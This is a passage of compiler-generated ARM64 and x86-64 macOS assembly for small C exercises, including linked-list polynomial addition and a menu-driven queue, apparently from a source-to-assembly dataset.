w1, [x8, #4] bl _create_singly_linked_list str x0, [sp, #24] b LBB3_13 LBB3_12: ; in Loop: Header=BB3_1 Depth=1 ldur x8, [x29, #-24] ldr w0, [x8] ldur x8, [x29, #-24] ldr w1, [x8, #4] ldr x2, [sp, #24] bl _insert_at_end str x0, [sp, #24] b LBB3_13 LBB3_13: ; in Loop: Header=BB3_1 Depth=1 ldur x8, [x29, #-24] ldr x8, [x8, #8] stur x8, [x29, #-24] b LBB3_18 LBB3_14: ; in Loop: Header=BB3_1 Depth=1 ldr x8, [sp, #24] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB3_16 b LBB3_15 LBB3_15: ; in Loop: Header=BB3_1 Depth=1 ldur x8, [x29, #-24] ldr w8, [x8] ldr x9, [sp, #32] ldr w9, [x9] add w0, w8, w9 ldur x8, [x29, #-24] ldr w1, [x8, #4] bl _create_singly_linked_list str x0, [sp, #24] b LBB3_17 LBB3_16: ; in Loop: Header=BB3_1 Depth=1 ldur x8, [x29, #-24] ldr w8, [x8] ldr x9, [sp, #32] ldr w9, [x9] add w0, w8, w9 ldur x8, [x29, #-24] ldr w1, [x8, #4] ldr x2, [sp, #24] bl _insert_at_end str x0, [sp, #24] b LBB3_17 LBB3_17: ; in Loop: Header=BB3_1 Depth=1 ldur x8, [x29, #-24] ldr x8, [x8, #8] stur x8, [x29, #-24] ldr x8, [sp, #32] ldr x8, [x8, #8] str x8, [sp, #32] b LBB3_18 LBB3_18: ; in Loop: Header=BB3_1 Depth=1 b LBB3_19 LBB3_19: ; in Loop: Header=BB3_1 Depth=1 b LBB3_1 LBB3_20: ldr x8, [sp, #24] str x8, [sp, #16] b LBB3_21 LBB3_21: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp, #16] ldr x8, [x8, #8] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB3_23 b LBB3_22 LBB3_22: ; in Loop: Header=BB3_21 Depth=1 ldr x8, [sp, #16] ldr x8, [x8, #8] str x8, [sp, #16] b LBB3_21 LBB3_23: ldur x8, [x29, #-24] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB3_26 b LBB3_24 LBB3_24: ldr x8, [sp, #32] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB3_26 b LBB3_25 LBB3_25: ldr x8, [sp, #32] ldr x9, [sp, #16] str x8, [x9, #8] b LBB3_30 LBB3_26: ldr x8, [sp, #32] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB3_29 b LBB3_27 LBB3_27: ldur x8, [x29, #-24] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB3_29 b LBB3_28 LBB3_28: ldur x8, [x29, #-24] ldr x9, [sp, #16] str x8, [x9, #8] b LBB3_29 LBB3_29: b LBB3_30 LBB3_30: ldr x0, [sp, #24] ldp x29, x30, [sp, #64] ; 16-byte Folded Reload add sp, sp, #80 ret .cfi_endproc ; -- End function .globl _display_sll ; -- Begin function display_sll .p2align 2 _display_sll: ; @display_sll .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] ldur x8, [x29, #-8] str x8, [sp, #16] b LBB4_1 LBB4_1: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp, #16] ldr x8, [x8, #8] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB4_3 b LBB4_2 LBB4_2: ; in Loop: Header=BB4_1 Depth=1 ldr x8, [sp, #16] ldr w8, [x8] ; implicit-def: $x10 mov x10, x8 ldr x8, [sp, #16] ldr w9, [x8, #4] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x10, [x9] str x8, [x9, #8] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf ldr x8, [sp, #16] ldr x8, [x8, #8] str x8, [sp, #16] b LBB4_1 LBB4_3: ldr x8, [sp, #16] ldr w8, [x8] ; implicit-def: $x10 mov x10, x8 ldr x8, [sp, #16] ldr w9, [x8, #4] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x10, [x9] str x8, [x9, #8] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #96 .cfi_def_cfa_offset 96 stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] ; kill: def $x8 killed $xzr stur xzr, [x29, #-16] stur xzr, [x29, #-24] adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _printf mov x9, sp sub x8, x29, #28 str x8, [x9] adrp x0, l_.str.4@PAGE add x0, x0, l_.str.4@PAGEOFF bl _scanf adrp x0, l_.str.5@PAGE add x0, x0, l_.str.5@PAGEOFF bl _printf stur wzr, [x29, #-36] b LBB5_1 LBB5_1: ; =>This Inner Loop Header: Depth=1 ldur w8, [x29, #-36] ldur w9, [x29, #-28] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB5_7 b LBB5_2 LBB5_2: ; in Loop: Header=BB5_1 Depth=1 mov x9, sp add x8, sp, #40 str x8, [x9] add x8, sp, #36 str x8, [x9, #8] adrp x0, l_.str.6@PAGE add x0, x0, l_.str.6@PAGEOFF bl _scanf ldur x8, [x29, #-16] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB5_4 b LBB5_3 LBB5_3: ; in Loop: Header=BB5_1 Depth=1 ldr w0, [sp, #40] ldr w1, [sp, #36] bl _create_singly_linked_list stur x0, [x29, #-16] b LBB5_5 LBB5_4: ; in Loop: Header=BB5_1 Depth=1 ldr w0, [sp, #40] ldr w1, [sp, #36] ldur x2, [x29, #-16] bl _insert_inorder stur x0, [x29, #-16] b LBB5_5 LBB5_5: ; in Loop: Header=BB5_1 Depth=1 b LBB5_6 LBB5_6: ; in Loop: Header=BB5_1 Depth=1 ldur w8, [x29, #-36] add w8, w8, #1 stur w8, [x29, #-36] b LBB5_1 LBB5_7: ldur x0, [x29, #-16] bl _display_sll adrp x0, l_.str.7@PAGE add x0, x0, l_.str.7@PAGEOFF bl _printf mov x9, sp sub x8, x29, #32 str x8, [x9] adrp x0, l_.str.4@PAGE add x0, x0, l_.str.4@PAGEOFF bl _scanf adrp x0, l_.str.8@PAGE add x0, x0, l_.str.8@PAGEOFF bl _printf str wzr, [sp, #32] b LBB5_8 LBB5_8: ; =>This Inner Loop Header: Depth=1 ldr w8, [sp, #32] ldur w9, [x29, #-32] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB5_14 b LBB5_9 LBB5_9: ; in Loop: Header=BB5_8 Depth=1 mov x9, sp add x8, sp, #28 str x8, [x9] add x8, sp, #24 str x8, [x9, #8] adrp x0, l_.str.6@PAGE add x0, x0, l_.str.6@PAGEOFF bl _scanf ldur x8, [x29, #-24] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB5_11 b LBB5_10 LBB5_10: ; in Loop: Header=BB5_8 Depth=1 ldr w0, [sp, #28] ldr w1, [sp, #24] bl _create_singly_linked_list stur x0, [x29, #-24] b LBB5_12 LBB5_11: ; in Loop: Header=BB5_8 Depth=1 ldr w0, [sp, #28] ldr w1, [sp, #24] ldur x2, [x29, #-24] bl _insert_inorder stur x0, [x29, #-24] b LBB5_12 LBB5_12: ; in Loop: Header=BB5_8 Depth=1 b LBB5_13 LBB5_13: ; in Loop: Header=BB5_8 Depth=1 ldr w8, [sp, #32] add w8, w8, #1 str w8, [sp, #32] b LBB5_8 LBB5_14: ldur x0, [x29, #-24] bl _display_sll ldur x0, [x29, #-16] ldur x1, [x29, #-24] bl _add_polynomials str x0, [sp, #16] ldr x0, [sp, #16] bl _display_sll ldur w0, [x29, #-4] ldp x29, x30, [sp, #80] ; 16-byte Folded Reload add sp, sp, #96 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "%d * x^%d + " l_.str.1: ; @.str.1 .asciz "%d * x^%d" l_.str.2: ; @.str.2 .asciz "\n" l_.str.3: ; @.str.3 .asciz "Enter the number of terms in first polynomial: " l_.str.4: ; @.str.4 .asciz "%d" l_.str.5: ; @.str.5 .asciz "Enter the coeficient and exponent for all terms of first polynomial: " l_.str.6: ; @.str.6 .asciz "%d%d" l_.str.7: ; @.str.7 .asciz "Enter the number of terms in second polynomial: " l_.str.8: ; @.str.8 .asciz "Enter the coeficient and exponent for all terms of second polynomial: " .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _create_singly_linked_list ## -- Begin function create_singly_linked_list .p2align 4, 0x90 _create_singly_linked_list: ## @create_singly_linked_list .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl %edi, -4(%rbp) movl %esi, -8(%rbp) movl $16, %edi callq _malloc movq %rax, -16(%rbp) movl -4(%rbp), %ecx movq -16(%rbp), %rax movl %ecx, (%rax) movl -8(%rbp), %ecx movq -16(%rbp), %rax movl %ecx, 4(%rax) movq -16(%rbp), %rax movq $0, 8(%rax) movq -16(%rbp), %rax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _insert_inorder ## -- Begin function insert_inorder .p2align 4, 0x90 _insert_inorder: ## @insert_inorder .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $64, %rsp movl %edi, -12(%rbp) movl %esi, -16(%rbp) movq %rdx, -24(%rbp) movq -24(%rbp), %rax movq %rax, -32(%rbp) movq $0, -40(%rbp) movq -24(%rbp), %rax movl 4(%rax), %eax cmpl -16(%rbp), %eax jge LBB1_2 ## %bb.1: movl $16, %edi callq _malloc movq %rax, -48(%rbp) movl -12(%rbp), %ecx movq -48(%rbp), %rax movl %ecx, (%rax) movl -16(%rbp), %ecx movq -48(%rbp), %rax movl %ecx, 4(%rax) movq -24(%rbp), %rcx movq -48(%rbp), %rax movq %rcx, 8(%rax) movq -48(%rbp), %rax movq %rax, -24(%rbp) movq -24(%rbp), %rax movq %rax, -8(%rbp) jmp LBB1_12 LBB1_2: jmp LBB1_3 LBB1_3: ## =>This Inner Loop Header: Depth=1 movq -32(%rbp), %rax movl 4(%rax), %eax cmpl -16(%rbp), %eax jle LBB1_9 ## %bb.4: ## in Loop: Header=BB1_3 Depth=1 movq -32(%rbp), %rax cmpq $0, 8(%rax) jne LBB1_8 ## %bb.5: movq -32(%rbp), %rax movl (%rax), %eax cmpl -12(%rbp), %eax jne LBB1_7 ## %bb.6: movl -12(%rbp), %ecx movq -32(%rbp), %rax addl (%rax), %ecx movl %ecx, (%rax) movq -24(%rbp), %rax movq %rax, -8(%rbp) jmp LBB1_12 LBB1_7: movl $16, %edi callq _malloc movq %rax, -56(%rbp) movl -12(%rbp), %ecx movq -56(%rbp), %rax movl %ecx, (%rax) movl -16(%rbp), %ecx movq -56(%rbp), %rax movl %ecx, 4(%rax) movq -56(%rbp), %rax movq $0, 8(%rax) movq -56(%rbp), %rcx movq -32(%rbp), %rax movq %rcx, 8(%rax) movq -24(%rbp), %rax movq %rax, -8(%rbp) jmp LBB1_12 LBB1_8: ## in Loop: Header=BB1_3 Depth=1 movq -32(%rbp), %rax movq %rax, -40(%rbp) movq -32(%rbp), %rax movq 8(%rax), %rax movq %rax, -32(%rbp) jmp LBB1_3 LBB1_9: movq -32(%rbp), %rax movl 4(%rax), %eax cmpl -16(%rbp), %eax jne LBB1_11 ## %bb.10: movl -12(%rbp), %ecx movq -32(%rbp), %rax addl (%rax), %ecx movl %ecx, (%rax) movq -24(%rbp), %rax movq %rax, -8(%rbp) jmp LBB1_12 LBB1_11: movl $16, %edi callq _malloc movq %rax, -64(%rbp) movl -12(%rbp), %ecx movq -64(%rbp), %rax movl %ecx, (%rax) movl -16(%rbp), %ecx movq -64(%rbp), %rax movl %ecx, 4(%rax) movq -32(%rbp), %rcx movq -64(%rbp), %rax movq %rcx, 8(%rax) movq -64(%rbp), %rcx movq -40(%rbp), %rax movq %rcx, 8(%rax) movq -24(%rbp), %rax movq %rax, -8(%rbp) LBB1_12: movq -8(%rbp), %rax addq $64, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _insert_at_end ## -- Begin function insert_at_end .p2align 4, 0x90 _insert_at_end: ## @insert_at_end .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movl %edi, -4(%rbp) movl %esi, -8(%rbp) movq %rdx, -16(%rbp) movq -16(%rbp), %rax movq %rax, -24(%rbp) LBB2_1: ## =>This Inner Loop Header: Depth=1 movq -24(%rbp), %rax cmpq $0, 8(%rax) je LBB2_3 ## %bb.2: ## in Loop: Header=BB2_1 Depth=1 movq -24(%rbp), %rax movq 8(%rax), %rax movq %rax, -24(%rbp) jmp LBB2_1 LBB2_3: movl $16, %edi callq _malloc movq %rax, -32(%rbp) movl -4(%rbp), %ecx movq -32(%rbp), %rax movl %ecx, (%rax) movl -8(%rbp), %ecx movq -32(%rbp), %rax movl %ecx, 4(%rax) movq -32(%rbp), %rax movq $0, 8(%rax) movq -32(%rbp), %rcx movq -24(%rbp), %rax movq %rcx, 8(%rax) movq -16(%rbp), %rax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _add_polynomials ## -- Begin function add_polynomials .p2align 4, 0x90 _add_polynomials: ## @add_polynomials .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $64, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq -8(%rbp), %rax movq %rax, -24(%rbp) movq -16(%rbp), %rax movq %rax, -32(%rbp) movq $0, -40(%rbp) LBB3_1: ## =>This Inner Loop Header: Depth=1 xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpq $0, -24(%rbp) movb %al, -49(%rbp) ## 1-byte Spill je LBB3_3 ## %bb.2: ## in Loop: Header=BB3_1 Depth=1 cmpq $0, -32(%rbp) setne %al movb %al, -49(%rbp) ## 1-byte Spill LBB3_3: ## in Loop: Header=BB3_1 Depth=1 movb -49(%rbp), %al ## 1-byte Reload testb $1, %al jne LBB3_4 jmp LBB3_20 LBB3_4: ## in Loop: Header=BB3_1 Depth=1 movq -24(%rbp), %rax movl 4(%rax), %eax movq -32(%rbp), %rcx cmpl 4(%rcx), %eax jge LBB3_9 ## %bb.5: ## in Loop: Header=BB3_1 Depth=1 cmpq $0, -40(%rbp) jne LBB3_7 ## %bb.6: ## in Loop: Header=BB3_1 Depth=1 movq -32(%rbp), %rax movl (%rax), %edi movq -32(%rbp), %rax movl 4(%rax), %esi callq _create_singly_linked_list movq %rax, -40(%rbp) jmp LBB3_8 LBB3_7: ## in Loop: Header=BB3_1 Depth=1 movq -32(%rbp), %rax movl (%rax), %edi movq -32(%rbp), %rax movl 4(%rax), %esi movq -40(%rbp), %rdx callq _insert_at_end movq %rax, -40(%rbp) LBB3_8: ## in Loop: Header=BB3_1 Depth=1 movq -32(%rbp), %rax movq 8(%rax), %rax movq %rax, -32(%rbp) jmp LBB3_19 LBB3_9: ## in Loop: Header=BB3_1 Depth=1 movq -24(%rbp), %rax movl 4(%rax), %eax movq -32(%rbp), %rcx cmpl 4(%rcx), %eax jle LBB3_14 ## %bb.10: ## in Loop: Header=BB3_1 Depth=1 cmpq $0, -40(%rbp) jne LBB3_12 ## %bb.11: ## in Loop: Header=BB3_1 Depth=1 movq -24(%rbp), %rax movl (%rax), %edi movq -24(%rbp), %rax movl 4(%rax), %esi callq _create_singly_linked_list movq %rax, -40(%rbp) jmp LBB3_13 LBB3_12: ## in Loop: Header=BB3_1 Depth=1 movq -24(%rbp), %rax movl (%rax), %edi movq -24(%rbp), %rax movl 4(%rax), %esi movq -40(%rbp), %rdx callq _insert_at_end movq %rax, -40(%rbp) LBB3_13: ## in Loop: Header=BB3_1 Depth=1 movq -24(%rbp), %rax movq 8(%rax), %rax movq %rax, -24(%rbp) jmp LBB3_18 LBB3_14: ## in Loop: Header=BB3_1 Depth=1 cmpq $0, -40(%rbp) jne LBB3_16 ## %bb.15: ## in Loop: Header=BB3_1 Depth=1 movq -24(%rbp), %rax movl (%rax), %edi movq -32(%rbp), %rax addl (%rax), %edi movq -24(%rbp), %rax movl 4(%rax), %esi callq _create_singly_linked_list movq %rax, -40(%rbp) jmp LBB3_17 LBB3_16: ## in Loop: Header=BB3_1 Depth=1 movq -24(%rbp), %rax movl (%rax), %edi movq -32(%rbp), %rax addl (%rax), %edi movq -24(%rbp), %rax movl 4(%rax), %esi movq -40(%rbp), %rdx callq _insert_at_end movq %rax, -40(%rbp) LBB3_17: ## in Loop: Header=BB3_1 Depth=1 movq -24(%rbp), %rax movq 8(%rax), %rax movq %rax, -24(%rbp) movq -32(%rbp), %rax movq 8(%rax), %rax movq %rax, -32(%rbp) LBB3_18: ## in Loop: Header=BB3_1 Depth=1 jmp LBB3_19 LBB3_19: ## in Loop: Header=BB3_1 Depth=1 jmp LBB3_1 LBB3_20: movq -40(%rbp), %rax movq %rax, -48(%rbp) LBB3_21: ## =>This Inner Loop Header: Depth=1 movq -48(%rbp), %rax cmpq $0, 8(%rax) je LBB3_23 ## %bb.22: ## in Loop: Header=BB3_21 Depth=1 movq -48(%rbp), %rax movq 8(%rax), %rax movq %rax, -48(%rbp) jmp LBB3_21 LBB3_23: cmpq $0, -24(%rbp) jne LBB3_26 ## %bb.24: cmpq $0, -32(%rbp) je LBB3_26 ## %bb.25: movq -32(%rbp), %rcx movq -48(%rbp), %rax movq %rcx, 8(%rax) jmp LBB3_30 LBB3_26: cmpq $0, -32(%rbp) jne LBB3_29 ## %bb.27: cmpq $0, -24(%rbp) je LBB3_29 ## %bb.28: movq -24(%rbp), %rcx movq -48(%rbp), %rax movq %rcx, 8(%rax) LBB3_29: jmp LBB3_30 LBB3_30: movq -40(%rbp), %rax addq $64, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _display_sll ## -- Begin function display_sll .p2align 4, 0x90 _display_sll: ## @display_sll .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq -8(%rbp), %rax movq %rax, -16(%rbp) LBB4_1: ## =>This Inner Loop Header: Depth=1 movq -16(%rbp), %rax cmpq $0, 8(%rax) je LBB4_3 ## %bb.2: ## in Loop: Header=BB4_1 Depth=1 movq -16(%rbp), %rax movl (%rax), %esi movq -16(%rbp), %rax movl 4(%rax), %edx leaq L_.str(%rip), %rdi movb $0, %al callq _printf movq -16(%rbp), %rax movq 8(%rax), %rax movq %rax, -16(%rbp) jmp LBB4_1 LBB4_3: movq -16(%rbp), %rax movl (%rax), %esi movq -16(%rbp), %rax movl 4(%rax), %edx leaq L_.str.1(%rip), %rdi movb $0, %al callq _printf leaq L_.str.2(%rip), %rdi movb $0, %al callq _printf addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $64, %rsp movl $0, -4(%rbp) movq $0, -16(%rbp) movq $0, -24(%rbp) leaq L_.str.3(%rip), %rdi movb $0, %al callq _printf leaq L_.str.4(%rip), %rdi leaq -28(%rbp), %rsi movb $0, %al callq _scanf leaq L_.str.5(%rip), %rdi movb $0, %al callq _printf movl $0, -36(%rbp) LBB5_1: ## =>This Inner Loop Header: Depth=1 movl -36(%rbp), %eax cmpl -28(%rbp), %eax jge LBB5_7 ## %bb.2: ## in Loop: Header=BB5_1 Depth=1 leaq L_.str.6(%rip), %rdi leaq -40(%rbp), %rsi leaq -44(%rbp), %rdx movb $0, %al callq _scanf cmpq $0, -16(%rbp) jne LBB5_4 ## %bb.3: ## in Loop: Header=BB5_1 Depth=1 movl -40(%rbp), %edi movl -44(%rbp), %esi callq _create_singly_linked_list movq %rax, -16(%rbp) jmp LBB5_5 LBB5_4: ## in Loop: Header=BB5_1 Depth=1 movl -40(%rbp), %edi movl -44(%rbp), %esi movq -16(%rbp), %rdx callq _insert_inorder movq %rax, -16(%rbp) LBB5_5: ## in Loop: Header=BB5_1 Depth=1 jmp LBB5_6 LBB5_6: ## in Loop: Header=BB5_1 Depth=1 movl -36(%rbp), %eax addl $1, %eax movl %eax, -36(%rbp) jmp LBB5_1 LBB5_7: movq -16(%rbp), %rdi callq _display_sll leaq L_.str.7(%rip), %rdi movb $0, %al callq _printf leaq L_.str.4(%rip), %rdi leaq -32(%rbp), %rsi movb $0, %al callq _scanf leaq L_.str.8(%rip), %rdi movb $0, %al callq _printf movl $0, -48(%rbp) LBB5_8: ## =>This Inner Loop Header: Depth=1 movl -48(%rbp), %eax cmpl -32(%rbp), %eax jge LBB5_14 ## %bb.9: ## in Loop: Header=BB5_8 Depth=1 leaq L_.str.6(%rip), %rdi leaq -52(%rbp), %rsi leaq -56(%rbp), %rdx movb $0, %al callq _scanf cmpq $0, -24(%rbp) jne LBB5_11 ## %bb.10: ## in Loop: Header=BB5_8 Depth=1 movl -52(%rbp), %edi movl -56(%rbp), %esi callq _create_singly_linked_list movq %rax, -24(%rbp) jmp LBB5_12 LBB5_11: ## in Loop: Header=BB5_8 Depth=1 movl -52(%rbp), %edi movl -56(%rbp), %esi movq -24(%rbp), %rdx callq _insert_inorder movq %rax, -24(%rbp) LBB5_12: ## in Loop: Header=BB5_8 Depth=1 jmp LBB5_13 LBB5_13: ## in Loop: Header=BB5_8 Depth=1 movl -48(%rbp), %eax addl $1, %eax movl %eax, -48(%rbp) jmp LBB5_8 LBB5_14: movq -24(%rbp), %rdi callq _display_sll movq -16(%rbp), %rdi movq -24(%rbp), %rsi callq _add_polynomials movq %rax, -64(%rbp) movq -64(%rbp), %rdi callq _display_sll movl -4(%rbp), %eax addq $64, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "%d * x^%d + " L_.str.1: ## @.str.1 .asciz "%d * x^%d" L_.str.2: ## @.str.2 .asciz "\n" L_.str.3: ## @.str.3 .asciz "Enter the number of terms in first polynomial: " L_.str.4: ## @.str.4 .asciz "%d" L_.str.5: ## @.str.5 .asciz "Enter the coeficient and exponent for all terms of first polynomial: " L_.str.6: ## @.str.6 .asciz "%d%d" L_.str.7: ## @.str.7 .asciz "Enter the number of terms in second polynomial: " L_.str.8: ## @.str.8 .asciz "Enter the coeficient and exponent for all terms of second polynomial: " .subsections_via_symbols
the_stack_data/117327375.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _foo ; -- Begin function foo .p2align 2 _foo: ; @foo .cfi_startproc ; %bb.0: ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _foo ## -- Begin function foo .p2align 4, 0x90 _foo: ## @foo .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
the_stack_data/231393904.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] ; kill: def $x8 killed $xzr str xzr, [sp, #24] str xzr, [sp, #16] b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _printf adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _printf adrp x0, l_.str.4@PAGE add x0, x0, l_.str.4@PAGEOFF bl _printf adrp x0, l_.str.5@PAGE add x0, x0, l_.str.5@PAGEOFF bl _printf adrp x0, l_.str.6@PAGE add x0, x0, l_.str.6@PAGEOFF bl _printf mov x9, sp sub x8, x29, #8 str x8, [x9] adrp x0, l_.str.7@PAGE add x0, x0, l_.str.7@PAGEOFF bl _scanf ldur w8, [x29, #-8] subs w8, w8, #1 ; kill: def $x8 killed $w8 str x8, [sp, #8] ; 8-byte Folded Spill subs x8, x8, #4 cset w8, hi tbnz w8, #0, LBB0_12 ; %bb.2: ; in Loop: Header=BB0_1 Depth=1 ldr x11, [sp, #8] ; 8-byte Folded Reload adrp x10, lJTI0_0@PAGE add x10, x10, lJTI0_0@PAGEOFF Ltmp0: adr x8, Ltmp0 ldrsw x9, [x10, x11, lsl #2] add x8, x8, x9 br x8 LBB0_3: ; in Loop: Header=BB0_1 Depth=1 adrp x0, l_.str.8@PAGE add x0, x0, l_.str.8@PAGEOFF bl _printf mov x9, sp sub x8, x29, #12 str x8, [x9] adrp x0, l_.str.7@PAGE add x0, x0, l_.str.7@PAGEOFF bl _scanf ldur w2, [x29, #-12] add x0, sp, #24 add x1, sp, #16 bl _enque ldur w9, [x29, #-12] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.9@PAGE add x0, x0, l_.str.9@PAGEOFF bl _printf b LBB0_13 LBB0_4: ; in Loop: Header=BB0_1 Depth=1 add x0, sp, #24 add x1, sp, #16 sub x2, x29, #12 bl _deque subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB0_6 b LBB0_5 LBB0_5: ; in Loop: Header=BB0_1 Depth=1 ldur w9, [x29, #-12] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.10@PAGE add x0, x0, l_.str.10@PAGEOFF bl _printf b LBB0_6 LBB0_6: ; in Loop: Header=BB0_1 Depth=1 b LBB0_13 LBB0_7: ; in Loop: Header=BB0_1 Depth=1 ldr x0, [sp, #24] sub x1, x29, #12 bl _peek subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB0_9 b LBB0_8 LBB0_8: ; in Loop: Header=BB0_1 Depth=1 ldur w9, [x29, #-12] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.11@PAGE add x0, x0, l_.str.11@PAGEOFF bl _printf b LBB0_9 LBB0_9: ; in Loop: Header=BB0_1 Depth=1 b LBB0_13 LBB0_10: ; in Loop: Header=BB0_1 Depth=1 adrp x0, l_.str.12@PAGE add x0, x0, l_.str.12@PAGEOFF bl _printf ldr x0, [sp, #24] bl _display b LBB0_13 LBB0_11: ; in Loop: Header=BB0_1 Depth=1 b LBB0_13 LBB0_12: ; in Loop: Header=BB0_1 Depth=1 adrp x0, l_.str.13@PAGE add x0, x0, l_.str.13@PAGEOFF bl _printf b LBB0_13 LBB0_13: ; in Loop: Header=BB0_1 Depth=1 b LBB0_14 LBB0_14: ; in Loop: Header=BB0_1 Depth=1 ldur w8, [x29, #-8] subs w8, w8, #5 cset w8, ne tbnz w8, #0, LBB0_1 b LBB0_15 LBB0_15: adrp x0, l_.str.14@PAGE add x0, x0, l_.str.14@PAGEOFF bl _printf mov w0, #0 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc .p2align 2 lJTI0_0: .long LBB0_3-Ltmp0 .long LBB0_4-Ltmp0 .long LBB0_7-Ltmp0 .long LBB0_10-Ltmp0 .long LBB0_11-Ltmp0 ; -- End function .globl _enque ; -- Begin function enque .p2align 2 _enque: ; @enque .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] str x1, [sp, #16] str w2, [sp, #12] mov x0, #16 bl _malloc str x0, [sp] ldr w8, [sp, #12] ldr x9, [sp] str w8, [x9] ldr x8, [sp] ; kill: def $x9 killed $xzr str xzr, [x8, #8] ldur x8, [x29, #-8] ldr x8, [x8] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB1_2 b LBB1_1 LBB1_1: ldr x8, [sp] ldur x9, [x29, #-8] str x8, [x9] ldr x8, [sp] ldr x9, [sp, #16] str x8, [x9] b LBB1_3 LBB1_2: ldr x8, [sp] ldr x9, [sp, #16] ldr x9, [x9] str x8, [x9, #8] ldr x8, [sp] ldr x9, [sp, #16] str x8, [x9] b LBB1_3 LBB1_3: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _deque ; -- Begin function deque .p2align 2 _deque: ; @deque .cfi_startproc ; 